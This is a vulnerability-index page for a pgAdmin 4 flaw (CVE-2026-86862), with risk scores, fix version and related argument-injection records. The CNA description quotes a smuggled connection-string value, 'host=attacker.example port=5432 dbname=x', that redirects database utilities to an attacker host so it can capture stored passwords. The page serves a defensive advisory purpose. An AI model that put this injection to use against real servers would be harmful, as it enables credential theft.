vciy

CVE-2026-86862

INDEX BUILT · 2026-09-20

No source can show you its own past. This one can.

Print this page to keep the view as it stands on this date. Everything hidden behind a disclosure opens, and every receipt prints with its value.

pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools

CVE-2026-868623 of 4 sources documented this
16

rank 16 = 0 + 16 + 0 + 0 + 0

rank@v1 · backlog

Someone is already using it

CISA KEV catalog · public proof-of-concept · FIRST EPSS

EPSS 0.00201  ·  without this subject the record ranks 16

What it costs you if it fires

NVD CVSS base score, then the CNA's own

CVSS 6.5, from the CNA  ·  without this subject the record ranks 0

It is getting worse, not staying still

FIRST EPSS series, rescorings and bad loads removed

no persisting rise in 365 days  ·  without this subject the record ranks 16

How much of the world it touches

NVD CPE configurations

0 products in the CPE ranges  ·  without this subject the record ranks 16

Someone else already set the date

CISA KEV remediation due date

no CISA due date  ·  without this subject the record ranks 16

Unaudited dollar value2 of 3 inputs carry a receipt
Exposure$6,140over the next 30 days, if this record is yours
Movementnot heldno dated series to read a change from
Basisassumeda published average, not your estate

$6,140 = $4.99M incident cost x 0.6121449559255632 exposure x 0.00201 likelihood

udv@v1 · unaudited · wrong for you until you say what you run

$4.99M is the cost of a breach that happened, from IBM Cost of a Data Breach Report 2026, global average. It is not the value of any asset of yours. That average already covers breaches of every severity, so scaling it by exposure understates a partial-impact record. That is an assumption, not a measurement. Your own asset value goes in the decision record.

Hindsight · the state

0.00201EPSSNOT IN KEVas of 2026-09-20
Severity6.5 MEDIUMreceipt
Harmpartial impactreceipt
Exploitationnone in held sources
Defensefix version namedreceipt
Movementone observationreceipt
SINGLE READINGOne observation held. There is no shape yet. arc-rules@v1

Foresight · where to check next

AtlassianCVE-2024-41710CVE-2016-10033GNU InetutilsMikrotik RouterOS86862

This record is one instance of CWE-88, improper neutralization of argument delimiters in a command ('argument injection'). The index holds 456 prior instances of this class, 5 KEV-listed. The nearest of its KEV-listed records are drawn beside this. taxonomy@v1

Full pattern panel

Prior records in this weakness class. Each is its own record, dated and receipted.
Color is a claim, not decoration:the hostile worldthe defenseno signalspoke length is how much of the record matches, not how bad it is

Running pgadmin.org pgAdmin 4? Check your version

A deterministic range check against the ranges this record publishes. It tells you where a version sits in the record, not whether your deployment is exploitable. No account needed.

Watch this record

Matches your own product list against every record this index holds, and tells you when one of them moves.

What counts as a move

Set up a watchlist (needs a Practitioner account)

Record your call

Keep your verdict, your reason and the evidence together. The record takes its date when you save it.

AcceptDeferPatch by…Not affectedMitigated

Choose your verdict, then sign in or use an email link. Your first 100 records are free. Evidence is frozen when the record is created.

Private to your organization unless you share it. Put the proof link in your ticket so a reviewer can inspect the basis for your call. See how decision records work.

Harm, if it fires from the vector and the weakness

Written for the ticket you're about to file.

Reachnetwork-reachable · low privileges required · no user interaction · low attack complexityreceipt
ImpactComplete confidentiality lossreceipt
Scored fromCVSS v3.1 · the CNA's vectorreceipt
Weakness classCWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'); CWE-522 Insufficiently Protected Credentials…receipt
Published consequencesCWE-88: Confidentiality, Integrity, Availability, Other: Execute Unauthorized Code or Commands, Alter Execution Logic, Read Application Data, Modify Application Data[email protected]

CISA KEV & Federal Remediation Deadline from the record and CISA

The fix, and how long it's been waiting.

Fixed in9.18receipt
Patch available sinceNo dated patch-availability record in held sources. The index holds reference URLs without dates and only the current revision of the CVE record, so the day a fix first existed cannot be derived. Only the versions it landed in.

Exploit Status & Known PoCs a ladder, not a score

Current rung: Nothing observed in held sources.

  • RUNG 1Nothing observed in held sources
  • RUNG 2Proof-of-concept published
  • RUNG 3Exploited in the wild · CISA KEV listed
  • RUNG 4Ransomware campaign use known

Authority who says so

CVSS, the CNA6.5 MEDIUMreceipt
Exploit probability0.00201 · top 90% of all CVEsreceipt
Assigned byPostgreSQLreceipt
Recorded changes1 · last 19 Sep 2026derived

Affected & Fixed Versions as published

Affected productpgadmin.org pgAdmin 4receipt
Fixed in9.18receipt

A rung lights from a row in the index, never from an assessment. "Held sources" is the true scope of the claim: this index reads the CVE record, NVD, CISA KEV, FIRST's EPSS and public proof-of-concept repositories, and it does not observe attacks.

Did this affect your environment?Answering needs an account.

Attack path

Network requestrequires low privilegespgadmin.org pgAdmin 4CWE-88 weaknessConfidentiality lossC:Hexploits CWE-88data compromise

What it is stated by the CNA

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. receipt

Read the rest of the CNA's description

Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

NVD's analysis a second authority

weakness
CWE-88; CWE-522; CWE-918
also scored by
7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X · 6.5…

check it yourself github.com receipt

Movement

Only one observation of this value is held, so there is no movement to show yet.

The full biography

Published2026-09-17Index as of2026-09-18

The record had been public for 1 day when this index was last written.

Published 2026-09-17 receipt · Index as of 2026-09-18 derived

The pattern, elsewhere

This record is one instance of CWE-88, improper neutralization of argument delimiters in a command ('argument injection'). The index holds 456 prior instances of this class, 5 KEV-listed. The nearest of its KEV-listed records are drawn beside this. [email protected]

CVE-2022-36804 · Atlassian Bitbucket Servermatches 6 of 10KEV listed · 2022receipt
CVE-2024-41710matches 5 of 9KEV listed · 2024receipt
CVE-2016-10033matches 5 of 9KEV listed · 2016receipt
CVE-2026-24061 · GNU Inetutilsmatches 5 of 10KEV listed · 2026receipt
CVE-2026-86060 · Mikrotik RouterOSonly 2 attributes comparableKEV listed · 2026receipt

"Matches n of m" counts the attributes the two records can both be compared on: the CVSS metrics they share a version of, any weakness class beyond this one, and the vendor. fit-rules@v1

456 records in this class held. The six above are drawn from the ones CISA has listed as exploited, ranked by how much of the record matches this one. That is why every one of them is KEV-listed: the pool is, so the colour on those spokes says nothing the pool has not already said.

No curated product neighbourhood is held for this product, so the records above are the nearest this index can name. The neighbourhood table covers a small set of products and is extended by hand.

Siblings and hubs

Records related to this one

Browse the index from here

These are index-wide views, not findings about CVE-2026-86862.

What usually comes next

Everything above needs no account. What is below is work: assembling it, scoping it to your estate, watching it, and handing it to someone else.

Everything on this page is free. Public data. Withholding it protects nothing.